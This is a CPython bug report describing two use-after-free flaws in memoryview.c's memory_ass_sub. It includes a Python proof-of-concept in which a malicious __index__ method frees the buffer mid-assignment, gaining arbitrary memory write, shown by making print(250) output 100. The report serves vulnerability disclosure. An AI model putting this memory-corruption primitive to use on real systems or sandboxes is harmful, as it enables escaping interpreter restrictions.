Bug report

within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub.
The first is if a class with a malicious __index__ method is used as the index for the assignment, its index method is called after the memoryview is checked if it is released. This allows the index method to release the memory view and backing buffer, leading to a write to freed memory when the write completes. The same vuln exists if the class with a malicious index method is used as the assigned value, as its __index__ method is called inside of pack_single

# memoryview Use After Free (memory_ass_sub)
uaf_backing = bytearray(bytearray.__basicsize__)
uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format

class weird_index:
    def __index__(self):
        global memory_backing
        uaf_view.release() # release memoryview (UAF)
        # free `uaf_backing` memory and allocate a new bytearray into it
        memory_backing = uaf_backing.clear() or bytearray()
        return 2 # `ob_size` idx

# by the time this line finishes executing, it writes the max ptr size
# into the `ob_size` slot of `memory_backing`
uaf_view[weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(memory_backing)
memory[id(250) + int.__basicsize__] = 100
print(250) # prints 100

Your environment

• CPython versions tested on: Python 3.10.2 (main, Feb 2 2022, 07:36:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin
• Operating system and architecture: MacOS, 64bit